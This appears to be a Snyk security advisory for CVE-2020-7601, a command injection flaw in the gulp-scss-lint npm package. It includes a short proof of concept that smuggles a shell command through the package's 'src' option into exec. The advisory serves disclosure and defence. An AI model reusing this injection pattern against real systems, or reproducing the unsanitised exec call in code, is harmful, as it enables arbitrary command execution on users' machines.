Command Injection Affecting gulp-scss-lint package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
4.68% (93rd percentile)

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  • Snyk IDSNYK-JS-GULPSCSSLINT-560114
  • published13 Mar 2020
  • disclosed13 Mar 2020
  • creditJHU System Security Lab

Introduced: 13 Mar 2020

CVE-2020-7601  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

gulp-scss-lint is a Lint your .scss files.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands to the exec function located in src/command.js via the provided options.

PoC by JHU System Security Lab

var root = require("gulp-scss-lint");
var attack_code = "echo vulnerable > create.txt";
var opt = {
  "src": attack_code
}
root(opt);

CVSS Scores

version 3.1